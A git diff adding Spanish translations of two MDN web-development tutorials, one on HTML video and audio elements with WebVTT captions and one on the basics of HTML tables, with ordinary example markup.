+<p>Esto nos dará un resultado que se parece a esto:</p>
+
+<p><img alt="A video player showing a poster image before it plays. The poster image says HTML5 video example, OMG hell yeah!" src="https://mdn.mozillademos.org/files/12796/extra-video-features.png" style="display: block; height: 731px; margin: 0px auto; width: 653px;">Las nuevas características son:</p>
+
+<dl>
+ <dt>{{htmlattrxref("width","video")}} y {{htmlattrxref("height","video")}}</dt>
+ <dd>Puede controlar el tamanño con estos atributos o con  {{Glossary("CSS")}}. En ambos casos, los vídeos mantienen su relación <strong>anchura - altura nativa</strong>. Si la relación de aspecto no se mantiene con los tamañis establecidos, el vídeo crecerá para rellenar el espacio horizontalmente y el el espacio sin rellenar sólo recibirá un color de fondo sólido de forma predeterminada.</dd>
+ <dt>{{htmlattrxref("autoplay","video")}}</dt>
+ <dd>Hace que el audio o el vídeo empiece a reproducirse de inmediato, mientras se carga el resto de la página. Le aconsejamos que no utilice vídeo (o audio) de reproducción automática en sus sitios, ya que los usuarios pueden encontralo molesto.</dd>
+ <dt>{{htmlattrxref("loop","video")}}</dt>
+ <dd>Hace que el vídeo (o audio) comience a reproducirse cada vez que finaliza.Esto puede en ocasiones resultar molesto, así que utilizalo solo si es realmente necesario.</dd>
+ <dt>{{htmlattrxref("muted","video")}}</dt>
+ <dd>Hace que los medios se reproduzcan con el sonido apagado de forma predeterminada.</dd>
+ <dt>{{htmlattrxref("poster","video")}}</dt>
+ <dd>La URL de una imagen que se mostrará antes de reproducir el vídeo. Está destinado a ser utilizado para una pantalla de presentación o pantalla publicitaria (miniatura del vídeo).</dd>
+ <dt>{{htmlattrxref("preload","video")}}</dt>
+ <dd>
+ <p>Se utiliza para almacenar en búfer archivos grandes; Puede tomar uno de estos tres valores:</p>
+
+ <ul>
+  <li><code>"none"</code> no almacena el archivo en el búfer</li>
+  <li><code>"auto"</code> almacena el archivo multimedia</li>
+  <li><code>"metadata"</code> almacena solo los metadatos del archivo</li>
+ </ul>
+ </dd>
+</dl>
+
+<p>Puedes encontrar el ejemplo anterior disponible en  <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/extra-video-features.html">play live on Github</a> (también <a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/video-and-audio-content/extra-video-features.html">see the source code</a>.)  Tenga en cuenta que hemos incluido el atributo <code>autoplay</code> en la versión en vivo  — Si el vídeo comienza a reproducirse tan pronto como se cargue la página no podrá ver la miniatura!</p>
+
+<h3 id="El_elemento_&lt;audio>">El elemento &lt;audio&gt;</h3>
+
+<p>El elemento  {{htmlelement("audio")}} funciona exactamente de la misma forma que el elemento {{htmlelement("video")}}, con algunas pequeñas diferencias como se describe a continuación. Un ejemplo típico podría ser así:</p>
+
+<pre class="brush: html notranslate">&lt;audio controls&gt;
+  &lt;source src="viper.mp3" type="audio/mp3"&gt;
+  &lt;source src="viper.ogg" type="audio/ogg"&gt;
+  &lt;p&gt;Your browser doesn't support HTML5 audio. Here is a &lt;a href="viper.mp3"&gt;link to the audio&lt;/a&gt; instead.&lt;/p&gt;
+&lt;/audio&gt;</pre>
+
+<p>Esto produce algo como lo siguiente en un navegador:</p>
+
+<p><img alt="A simple audio player with a play button, timer, volume control, and progress bar" src="https://mdn.mozillademos.org/files/12798/audio-player.png" style="display: block; height: 413px; margin: 0px auto; width: 626px;"></p>
+
+<div class="note">
+<p><strong>Nota</strong>: Puedes <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/multiple-audio-formats.html">reproducir este ejemplo de audio</a> en Github (también, puedes ver el <a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/video-and-audio-content/multiple-audio-formats.html">código fuente del reproductor de audio</a>.)</p>
+</div>
+
+<p>Esto ocupa menos espacio que un reproductor de video, ya que no hay un componente visual; solo necesita mostrar los controles para reproducir el audio. Otras diferencias con respecto al video HTML5 son las siguentes:</p>
+
+<ul>
+ <li>El elemento {{htmlelement("audio")}} no soporta los atributos  <code>width</code>/<code>height</code>  — de nuevo, no hay un componente visual,por no que no hay nada a lo que asignar un width o height (ancho o alto).</li>
+ <li>Tampoco es compatible con el atributo  <code>poster</code>  — de nuevo , no hay componente visual.</li>
+</ul>
+
+<p>Además de esto, <code>&lt;audio&gt;</code> admite las mismas características que  <code>&lt;video&gt;</code> — revisa las secciones anteriores para obtener más información sobre ellas.</p>
+
+<h3 id="Reinicio_de_la_reproducción_multimedia">Reinicio de la reproducción multimedia</h3>
+
+<p>En cualquier momento, puede restablecer los medios al principio—incluyendo el proceso de selección de la mejor fuente de medios, si se especifica más de una usando {{HTMLElement("source")}} elementos—llamando al elemento {{domxref("HTMLMediaElement.load", "load()")}} method:</p>
+
+<pre class="brush: js notranslate">var mediaElem = document.getElementById("my-media-element");
+mediaElem.load();</pre>
+
+<h3 id="Detecting_track_addition_and_removal">Detecting track addition and removal</h3>
+
+<p>You can monitor the track lists within a media element to detect when tracks are added to or removed from the element's media. For example, you can watch for the {{event("addtrack")}} event being fired on the associated {{domxref("AudioTrackList")}} object (retrieved via {{domxref("HTMLMediaElement.audioTracks")}}) to be informed when audio tracks are added to the media:</p>
+
+<pre class="brush: js notranslate">var mediaElem = document.querySelector("video");
+mediaElem.audioTracks.onaddtrack = function(event) {
+  audioTrackAdded(event.track);
+}
+</pre>
+
+<p>Encontraras mas documentacion acerca de esto en nuestra {{domxref("TrackEvent")}} documentacion.</p>
+
+<h2 id="Displaying_video_text_tracks">Displaying video text tracks</h2>
+
+<p>Now we'll discuss a slightly more advanced concept that is really useful to know about. Many people can't or don't want to hear the audio/video content they find on the Web, at least at certain times. For example:</p>
+
+<ul>
+ <li>Many people have auditory impairments (more commonly known as hard of hearing, or deaf) so can't hear the audio.</li>
+ <li>Others may not be able to hear the audio because they are in noisy environments (like a crowded bar when a sports game is being shown) or might not want to disturb others if they are in a quiet place (like a library.)</li>
+ <li>People who don't speak the language of the video might want a text transcript or even translation to help them understand the media content.</li>
+</ul>
+
+<p>Wouldn't it be nice to be able to provide these people with a transcript of the words being spoken in the audio/video? Well, thanks to HTML5 video you can, with the <a href="/en-US/docs/Web/API/Web_Video_Text_Tracks_Format">WebVTT</a> format and the {{htmlelement("track")}} element.</p>
+
+<div class="note">
+<p><strong>Note</strong>: "Transcribe" means "to write down spoken words as text." The resulting text is a "transcript."</p>
+</div>
+
+<p>WebVTT is a format for writing text files containing multiple strings of text along with metadata such as what time in the video you want each text string to be displayed, and even limited styling/positioning information. These text strings are called <strong>cues</strong>, and you can display different types for different purposes, the most common being:</p>
+
+<dl>
+ <dt>subtitles</dt>
+ <dd>Translations of foreign material, for people who don't understand the words spoken in the audio.</dd>
+ <dt>captions</dt>
+ <dd>Synchronized transcriptions of dialog or descriptions of significant sounds, to let people who can't hear the audio understand what is going on.</dd>
+ <dt>timed descriptions</dt>
+ <dd>Text for conversion into audio, to serve people with visual impairments.</dd>
+</dl>
+
+<p>A typical WebVTT file will look something like this:</p>
+
+<pre class="eval line-numbers  language-html notranslate"><code class="language-html">WEBVTT
+
+1
+00:00:22.230 --&gt; 00:00:24.606
+This is the first subtitle.
+
+2
+00:00:30.739 --&gt; 00:00:34.074
+This is the second.
+
+  ...</code>
+</pre>
+
+<p>To get this displayed along with the HTML media playback, you need to:</p>
+
+<ol>
+ <li>Save it as a <code>.vtt</code> file in a sensible place.</li>
+ <li>Link to the <code>.vtt</code> file with the {{htmlelement("track")}} element. <code>&lt;track&gt;</code> should be placed within <code>&lt;audio&gt;</code> or <code>&lt;video&gt;</code>, but after all <code>&lt;source&gt;</code> elements. Use the {{htmlattrxref("kind","track")}} attribute to specify whether the cues are <code>subtitles</code>, <code>captions</code>, or <code>descriptions</code>. Further, use {{htmlattrxref("srclang","track")}} to tell the browser what language you have written the subtitles in.</li>
+</ol>
+
+<p>Here's an example:</p>
+
+<pre class="brush: html notranslate">&lt;video controls&gt;
+    &lt;source src="example.mp4" type="video/mp4"&gt;
+    &lt;source src="example.webm" type="video/webm"&gt;
+    &lt;track kind="subtitles" src="subtitles_en.vtt" srclang="en"&gt;
+&lt;/video&gt;</pre>
+
+<p>This will result in a video that has subtitles displayed, kind of like this:</p>
+
+<p><img alt='Video player with stand controls such as play, stop, volume, and captions on and off. The video playing shows a scene of a man holding a spear-like weapon, and a caption reads "Esta hoja tiene pasado oscuro."' src="https://mdn.mozillademos.org/files/7887/video-player-with-captions.png" style="display: block; height: 365px; margin: 0px auto; width: 593px;"></p>
+
+<p>For more details, please read <a href="/en-US/Apps/Build/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video">Adding captions and subtitles to HTML5 video</a>. You can <a href="http://iandevlin.github.io/mdn/video-player-with-captions/">find the example</a> that goes along with this article on Github, written by Ian Devlin (see the <a href="https://github.com/iandevlin/iandevlin.github.io/tree/master/mdn/video-player-with-captions">source code</a> too.) This example uses some JavaScript to allow users to choose between different subtitles. Note that to turn the subtitles on, you need to press the "CC" button and select an option — English, Deutsch, or Español. </p>
+
+<div class="note">
+<p><strong>Note</strong>: Text tracks also help you with {{glossary("SEO")}}, since search engines especially thrive on text. Text tracks even allow search engines to link directly to a spot partway through the video.</p>
+</div>
+
+<h3 id="Active_learning_Embedding_your_own_audio_and_video">Active learning: Embedding your own audio and video</h3>
+
+<p>For this active learning, we'd (ideally) like you to go out into the world and record some of your own video and audio — most phones these days allow you to record audio and video very easily, and provided you can transfer it on to your computer, you can use it. You may have to do some conversion to end up with a WebM and MP4 in the case of video, and an MP3 and Ogg in the case of audio, but there are enough programs out there to allow you to do this without too much trouble, such as <a href="http://www.mirovideoconverter.com/">Miro Video Converter</a> and <a href="https://sourceforge.net/projects/audacity/">Audacity</a>. We'd like you to have a go!</p>
+
+<p>If you are unable to source any video or audio, then you can feel free to use our <a href="https://github.com/mdn/learning-area/tree/master/html/multimedia-and-embedding/video-and-audio-content">sample audio and video files</a> to carry out this exercise. You can also use our sample code for reference.</p>
+
+<p>We would like you to:</p>
+
+<ol>
+ <li>Save your audio and video files in a new directory on your computer.</li>
+ <li>Create a new HTML file in the same directory, called <code>index.html</code>.</li>
+ <li>Add <code>&lt;audio&gt;</code> and <code>&lt;video&gt;</code> elements to the page; make them display the default browser controls.</li>
+ <li>Give both of them <code>&lt;source&gt;</code> elements so that browsers will find the audio format they support best and load it. These should include <code>type</code> attributes.</li>
+ <li>Give the <code>&lt;video&gt;</code> element a poster that will be displayed before the video starts to be played. Have fun creating your own poster graphic.</li>
+</ol>
+
+<p>For an added bonus, you could try researching text tracks, and work out how to add some captions to your video.</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>And that's a wrap; we hope you had fun playing with video and audio in web pages! In the next article, we'll look at other ways of embedding content on the Web, using technologies like {{htmlelement("iframe")}} and {{htmlelement("object")}}.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{htmlelement("audio")}}</li>
+ <li>{{htmlelement("video")}}</li>
+ <li>{{htmlelement("source")}}</li>
+ <li>{{htmlelement("track")}}</li>
+ <li><a href="/en-US/Apps/Build/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video">Adding captions and subtitles to HTML5 video</a></li>
+ <li><a href="/en-US/docs/Web/Apps/Fundamentals/Audio_and_video_delivery">Audio and Video delivery</a>: A LOT of detail about putting audio and video onto web pages using HTML and JavaScript.</li>
+ <li><a href="/en-US/docs/Web/Apps/Fundamentals/Audio_and_video_manipulation">Audio and Video manipulation</a>: A LOT of detail about manipulating audio and video using JavaScript (for example adding filters.)</li>
+ <li>Automated options to <a href="http://www.inwhatlanguage.com/blog/translate-video-audio/">translate multimedia</a>.</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Images_in_HTML", "Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies", "Learn/HTML/Multimedia_and_embedding")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">Images in HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">Video and audio content</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies">From &lt;object&gt; to &lt;iframe&gt; — other embedding technologies</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">Adding vector graphics to the Web</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Responsive images</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page">Mozilla splash page</a></li>
+</ul>
+
+<dl>
+</dl>
+
+<ul>
+</ul>
diff --git a/files/es/learn/html/tablas/conceptos_básicos_de_las_tablas_html/index.html b/files/es/learn/html/tablas/conceptos_básicos_de_las_tablas_html/index.html
new file mode 100644
index 0000000000..7259adf427
--- /dev/null
+++ b/files/es/learn/html/tablas/conceptos_básicos_de_las_tablas_html/index.html
@@ -0,0 +1,563 @@
+---
+title: Conceptos básicos de las tablas HTML
+slug: Learn/HTML/Tablas/Conceptos_básicos_de_las_tablas_HTML
+translation_of: Learn/HTML/Tables/Basics
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{NextMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}}</div>
+
+<p class="summary">Este artículo te ayudará a comenzar con las tablas HTML. Vamos a exponer conceptos básicos como filas y celdas, encabezados, celdas que abarcan múltiples columnas y filas, y la forma de agrupar todas las celdas de una columna para aplicarles estilo.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conceptos básicos de HTML (ver <a href="/es/docs/Learn/HTML/Introduccion_a_HTML">Introducción al HTML</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Adquirir conocimientos básicos de las tablas HTML.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="¿Qué_es_una_tabla">¿Qué es una tabla?</h2>
+
+<p>Una tabla es un conjunto estructurado de datos distribuidos en filas y columnas (<strong>datos tabulados</strong>). Una tabla permite buscar con rapidez y facilidad valores entre diferentes tipos de datos que indiquen algún tipo de conexión. Por ejemplo, una persona y su edad, o un día de la semana o el horario de una piscina municipal.</p>
+
+<p><img alt="Una tabla de datos de ejemplo que muestra los nombres y las edades de algunas personas: Chris 38, Dennis 45, Sarah 29, Karen 47." src="https://mdn.mozillademos.org/files/14583/numbers-table.png" style="display: block; height: 156px; margin: 0px auto; width: 350px;"></p>
+
+<p><img alt="Una tabla de datos que muestra unos horarios de clases natación" src="https://mdn.mozillademos.org/files/14587/swimming-timetable.png" style="display: block; height: 301px; margin: 0px auto; width: 794px;"></p>
+
+<p>Las tablas se utilizan con mucha frecuencia en la sociedad desde hace años, como lo demuestra este documento censal de los EUA de 1800:</p>
+
+<p><img alt="Un pergamino muy antiguo; cuesta un poco leer los datos, pero muestra con claridad que las tablas de datos ya se utilizaban en 1800." src="https://mdn.mozillademos.org/files/14585/1800-census.jpg" style="display: block; height: 505px; margin: 0px auto; width: 800px;"></p>
+
+<p>Por lo tanto, no es de extrañar que los creadores de HTML proporcionen un medio con el que estructurar y presentar datos en tablas en la web.</p>
+
+<h3 id="¿Cómo_funciona_una_tabla">¿Cómo funciona una tabla?</h3>
+
+<p>El aspecto básico de una tabla es que es un elemento rígido. Es fácil interpretar la información haciendo asociaciones visuales entre los encabezados de las filas y las columnas. Por ejemplo, observa la tabla siguiente y busca un gigante de gas joviano con 62 lunas. Puedes encontrar la respuesta asociando los encabezados de la fila y la columna correspondientes.</p>
+
+<table>
+ <caption>Datos sobre los planetas de nuestro sistema solar (datos planetarios tomados de la hoja técnica sobre datos planetarios de la NASA (<a href="http://nssdc.gsfc.nasa.gov/planetary/factsheet/">Nasa's Planetary Fact Sheet - Metric</a>).</caption>
+ <thead>
+  <tr>
+   <td colspan="2"></td>
+   <th scope="col">Nombre</th>
+   <th scope="col">Masa (10<sup>24</sup> kg)</th>
+   <th scope="col">Diámetro (km)</th>
+   <th scope="col">Densidad (kg/m<sup>3</sup>)</th>
+   <th scope="col">Gravedad (m/s<sup>2</sup>)</th>
+   <th scope="col">Duración del día (horas)</th>
+   <th scope="col">Distancia del Sol (10<sup>6</sup>km)</th>
+   <th scope="col">Temperatura media (°C)</th>
+   <th scope="col">Número de lunas</th>
+   <th scope="col">Observaciones</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th colspan="2" rowspan="4" scope="rowgroup">Planetas terrestres</th>
+   <th scope="row">Mercurio</th>
+   <td>0,330</td>
+   <td>4.879</td>
+   <td>5.427</td>
+   <td>3,7</td>
+   <td>4.222,6</td>
+   <td>57,9</td>
+   <td>167</td>
+   <td>0</td>
+   <td>El más cercano al Sol</td>
+  </tr>
+  <tr>
+   <th scope="row">Venus</th>
+   <td>4,87</td>
+   <td>12.104</td>
+   <td>5.243</td>
+   <td>8,9</td>
+   <td>2.802,0</td>
+   <td>108,2</td>
+   <td>464</td>
+   <td>0</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">La Tierra</th>
+   <td>5,97</td>
+   <td>12.756</td>
+   <td>5.514</td>
+   <td>9,8</td>
+   <td>24,0</td>
+   <td>149,6</td>
+   <td>15</td>
+   <td>1</td>
+   <td>Nuestro planeta</td>
+  </tr>
+  <tr>
+   <th scope="row">Marte</th>
+   <td>0,642</td>
+   <td>6.792</td>
+   <td>3.933</td>
+   <td>3,7</td>
+   <td>24,7</td>
+   <td>227,9</td>
+   <td>-65</td>
+   <td>2</td>
+   <td>El planeta rojo</td>
+  </tr>
+  <tr>
+   <th rowspan="4" scope="rowgroup">Planetas jovianos</th>
+   <th rowspan="2" scope="rowgroup">Los gigantes de gas</th>
+   <th scope="row">Júpiter</th>
+   <td>1.898</td>
+   <td>142.984</td>
+   <td>1.326</td>
+   <td>23,1</td>
+   <td>9,9</td>
+   <td>778,6</td>
+   <td>-110</td>
+   <td>67</td>
+   <td>El planeta más grande</td>
+  </tr>
+  <tr>
+   <th scope="row">Saturno</th>
+   <td>568</td>
+   <td>120.536</td>
+   <td>687</td>
+   <td>9,0</td>
+   <td>10,7</td>
+   <td>1.433,5</td>
+   <td>-140</td>
+   <td>62</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th rowspan="2" scope="rowgroup">Los gigantes de hielo</th>
+   <th scope="row">Urano</th>
+   <td>86,8</td>
+   <td>51.118</td>
+   <td>1.271</td>
+   <td>8,7</td>
+   <td>17,2</td>
+   <td>2.872,5</td>
+   <td>-195</td>
+   <td>27</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">Neptuno</th>
+   <td>102</td>
+   <td>49.528</td>
+   <td>1.638</td>
+   <td>11,0</td>
+   <td>16,1</td>
+   <td>4.495,1</td>
+   <td>-200</td>
+   <td>14</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th colspan="2" scope="rowgroup">Planetas enanos</th>
+   <th scope="row">Plutón</th>
+   <td>0,0146</td>
+   <td>2.370</td>
+   <td>2.095</td>
+   <td>0,7</td>
+   <td>153,3</td>
+   <td>5.906,4</td>
+   <td>-225</td>
+   <td>5</td>
+   <td>Desclasificado como planeta en 2006, pero aún es una <a href="http://www.usatoday.com/story/tech/2014/10/02/pluto-planet-solar-system/16578959/">cuestión polémica</a>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Cuando se hace correctamente, incluso las personas ciegas pueden interpretar los datos de una tabla HTML. Una tabla HTML bien hecha debe mejorar la experiencia de los usuarios videntes e invidentes por igual.</p>
+
+<h3 id="Dar_estilo_a_las_tablas">Dar estilo a las tablas</h3>
+
+<p>También puedes <a href="https://mdn.github.io/learning-area/html/tables/assessment-finished/planets-data.html">echar un vistazo al ejemplo vivo</a> en GitHub. Observarás que la tabla que encontrarás allí tiene un aspecto más legible; esto se debe a que la tabla que ves en esta página tiene un estilo mínimo, mientras que en la de la versión de GitHub se ha aplicado un CSS más significativo.</p>
+
+<p>No te hagas ilusiones; para que las tablas sean efectivas en la web, debes proporcionar cierta información de estilo con <a href="/es/docs/Learn/CSS">CSS</a>, así como una buena estructura sólida con HTML. En este módulo nos centramos en la parte HTML; para averiguar sobre la parte del CSS debes visitar nuestro artículo <a href="/es/docs/Learn/CSS/Building_blocks/Styling_tables">Aplicar estilo a las tablas</a>.</p>
+
+<p>En este módulo no nos vamos a centrar en el CSS, sino que te vamos a proporcionar una hoja de estilo de CSS que dará a tus tablas algo más de legibilidad de la que se obtiene por defecto si no se proporciona ningún estilo. Puedes encontrar la hoja de estilo <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/minimal-table.css">aquí</a>, así como también una <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/blank-template.html">plantilla HTML</a> para aplicar la hoja de estilo (te darán un buen punto de partida para experimentar con las tablas HTML).</p>
+
+<h3 id="¿Cuándo_no_debes_usar_tablas_HTML">¿Cuándo no debes usar tablas HTML?</h3>
+
+<p>Las tablas HTML están pensadas para utilizarse con datos tabulados. Por desgracia, mucha gente utiliza las tablas HTML para hacer compaginaciones de páginas web. Por ejemplo, una fila para contener la cabecera, una fila para contener las columnas de contenido, una fila para contener el pie de página, etc. Puede encontrar más detalles y un ejemplo en <a href="/es/docs/Learn/Accessibility/HTML#Page_layouts">Diseños de página</a> en nuestro <a href="/es/docs/Learn/Accessibility">Módulo de aprendizaje de accesibilidad</a>. Se solía hacer este uso de las tablas porque la compatibilidad CSS entre navegadores solía ser terrible. Los diseños de tablas son mucho menos comunes hoy en día, pero aún se pueden ver en algunos rincones de la web.</p>
+
+<p>En resumen, es una mala idea usar tablas para el diseño en lugar de las <a href="/es/docs/Learn/CSS/CSS_layout">técnicas de diseño CSS</a>. Las razones principales son las siguientes:</p>
+
+<ol>
+ <li><strong>Las tablas de diseño reducen la accesibilidad para los usuarios con discapacidad visual</strong>: Los <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Screenreaders">lectores de pantalla</a> que utilizan las personas con visibilidad reducida interpretan las etiquetas de una página HTML y leen su contenido para el usuario. Puesto que las tablas no son la herramienta adecuada para el diseño y el marcado es más complejo que con las técnicas de diseño CSS, la salida de los lectores de pantalla será confusa para estos usuarios.</li>
+ <li><strong>Las tablas generan estructuras incorrectas</strong>: Como ya se mencionó, los diseños de tabla suelen involucrar estructuras de marcado más complejas que las técnicas de diseño. Esto puede dificultar la escritura, el mantenimiento y la depuración del código.</li>
+ <li><strong>Las tablas no tienen respuesta adaptativa automática</strong>: Cuando usas contenedores de diseño adecuados (tales como {{HTMLElement ("header")}}, {{HTMLElement ("section")}}, {{HTMLElement ("article")}} o {{HTMLElement ("div")}}), su ancho predeterminado es el 100% de su elemento padre. En cambio, las tablas se dimensionan de forma predeterminada según su contenido, por lo que se necesitan medidas adicionales para que el diseño de la tabla funcione de manera efectiva en todos los dispositivos.</li>
+</ol>
+
+<h2 id="Aprendizaje_activo_Crea_tu_primera_tabla">Aprendizaje activo: Crea tu primera tabla</h2>
+
+<p>Ya hemos hablado bastante sobre la teoría de las tablas, así que veamos un ejemplo práctico y construyamos una tabla simple.</p>
+
+<ol>
+ <li>En primer lugar, haz una copia local de <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/blank-template.html">blank-template.html</a> y <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/minimal-table.css">minimal-table.css</a> en un directorio nuevo de tu ordenador.</li>
+ <li>El contenido de cada tabla está delimitado entre estas dos etiquetas: <strong><code><a href="/en-US/docs/Web/HTML/Element/table">&lt;table&gt;&lt;/table&gt;</a></code></strong>. Añádelas al cuerpo de tu código HTML.</li>
+ <li>El contenedor más pequeño dentro de una tabla es una celda, que se crea con un elemento <strong><code><a href="/en-US/docs/Web/HTML/Element/td">&lt;td&gt;</a></code></strong> ('td' significa 'table data', <em>datos de tabla</em>). Añade lo siguiente dentro de tus etiquetas de tabla:
+  <pre class="brush: html notranslate">&lt;td&gt;Hola, soy tu primera celda.&lt;/td&gt;</pre>
+ </li>
+ <li>Si quieres una fila de cuatro celdas, tienes que copiar estas etiquetas tres veces. Actualiza el contenido de la tabla para que se vea así:
+  <pre class="brush: html notranslate">&lt;td&gt;Hola, soy tu primera celda.&lt;/td&gt;
+&lt;td&gt;Soy tu segunda celda.&lt;/td&gt;
+&lt;td&gt;Soy tu tercera celda.&lt;/td&gt;
+&lt;td&gt;Soy tu cuarta celda.&lt;/td&gt;</pre>
+ </li>
+</ol>
+
+<p>Como verás, las celdas no se colocan una debajo de la otra, sino que se alinean automáticamente entre sí en la misma fila. Cada elemento &lt;td&gt; crea una sola celda, y juntas forman la primera fila. Cada celda que agregamos hace crecer la fila.</p>
+
+<p>Para detener el crecimiento de esta fila y comenzar a colocar las celdas posteriores en una segunda fila, necesitamos usar el elemento <strong><code><a href="/en-US/docs/Web/HTML/Element/tr">&lt;tr&gt;</a></code></strong> ('tr' significa 'table raw', <em>fila de tabla</em>). Vamos a verlo en detalle.</p>
+
+<ol>
+ <li>Coloca las cuatro celdas que has creado dentro de las etiquetas <code>&lt;tr&gt;</code>, de esta forma:
+
+  <pre class="brush: html notranslate">&lt;tr&gt;
+  &lt;td&gt;Hola, soy tu primera celda.&lt;/td&gt;
+  &lt;td&gt;Soy tu segunda celda.&lt;/td&gt;
+  &lt;td&gt;Soy tu tercera celda.&lt;/td&gt;
+  &lt;td&gt;Soy tu cuarta celda.&lt;/td&gt;
+&lt;/tr&gt;</pre>
+ </li>
+ <li>Ahora que has hecho una fila, intenta hacer una o dos más: cada fila debe estar delimitada por un elemento <code>&lt;tr&gt;</code> adicional, con cada celda contenida en un <code>&lt;td&gt;</code>.</li>
+</ol>
+
+<p>Esto debería dar como resultado una tabla similar a la siguiente:</p>
+
+<table>
+ <tbody>
+  <tr>
+   <td>Hola, soy tu primera celda.</td>
+   <td>Soy tu segunda celda.</td>
+   <td>Soy tu tercera celda.</td>
+   <td>Soy tu cuarta celda.</td>
+  </tr>
+  <tr>
+   <td>Segunda fila, primera celda.</td>
+   <td>Celda 2.</td>
+   <td>Celda 3.</td>
+   <td>Celda 4.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Nota</strong>: También puedes encontrar esto en GitHub como <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/simple-table.html">simple-table.html</a> (consúltalo <a href="http://mdn.github.io/learning-area/html/tables/basic/simple-table.html">en vivo</a>).</p>
+</div>
+
+<h2 id="Añadir_encabezados_con_elementos_&lt;th>">Añadir encabezados con elementos &lt;th&gt;</h2>
+
+<p>Ahora nos vamos a centrar en los encabezados de tabla: celdas especiales que van al comienzo de una fila o columna y definen el tipo de datos que contiene esa fila o columna (por ejemplo, observa las celdas «Propietario» y «Edad» en el primer ejemplo que se muestra en este artículo). Para ilustrar por qué son útiles, echa un vistazo al ejemplo de tabla siguiente. En primer lugar, el código fuente:</p>
+
+<pre class="brush: html notranslate">&lt;table&gt;
+  &lt;tr&gt;
+    &lt;td&gt;&amp;nbsp;&lt;/td&gt;
+    &lt;td&gt;Knocky&lt;/td&gt;
+    &lt;td&gt;Flor&lt;/td&gt;
+    &lt;td&gt;Ella&lt;/td&gt;
+    &lt;td&gt;Juan&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Raza&lt;/td&gt;
+    &lt;td&gt;Jack Russell&lt;/td&gt;
+    &lt;td&gt;Caniche&lt;/td&gt;
+    &lt;td&gt;Perro callejero&lt;/td&gt;
+    &lt;td&gt;Cocker Spaniel&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Edad&lt;/td&gt;
+    &lt;td&gt;16&lt;/td&gt;
+    &lt;td&gt;9&lt;/td&gt;
+    &lt;td&gt;10&lt;/td&gt;
+    &lt;td&gt;5&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Propietario&lt;/td&gt;
+    &lt;td&gt;Suegra&lt;/td&gt;
+    &lt;td&gt;Yo&lt;/td&gt;
+    &lt;td&gt;Yo&lt;/td&gt;
+    &lt;td&gt;Cuñada&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Hábitos alimentarios&lt;/td&gt;
+    &lt;td&gt;Come las sobras de todos&lt;/td&gt;
+
+&lt;td&gt;Mordisquea la comida&lt;/td&gt;
+    &lt;td&gt;Come en abundancia&lt;/td&gt;
+
+&lt;td&gt;Come hasta que revienta&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<p>Ahora observa la tabla representada:</p>
+
+<table>
+ <tbody>
+  <tr>
+   <td></td>
+   <td>Knocky</td>
+   <td>Flor</td>
+   <td>Ella</td>
+   <td>Juan</td>
+  </tr>
+  <tr>
+   <td>Raza</td>
+   <td>Jack Russell</td>
+   <td>Caniche</td>
+   <td>Perro callejero</td>
+   <td>Cocker Spaniel</td>
+  </tr>
+  <tr>
+   <td>Edad</td>
+   <td>16</td>
+   <td>9</td>
+   <td>10</td>
+   <td>5</td>
+  </tr>
+  <tr>
+   <td>Propietario</td>
+   <td>Suegra</td>
+   <td>Yo</td>
+   <td>Yo</td>
+   <td>Cuñada</td>
+  </tr>
+  <tr>
+   <td>Hábitos alimentarios</td>
+   <td>Come las sobras de todos</td>
+   <td>Mordisquea la comida</td>
+   <td>Come en abundancia</td>
+   <td>Come hasta que revienta</td>
+  </tr>
+ </tbody>
+</table>
+
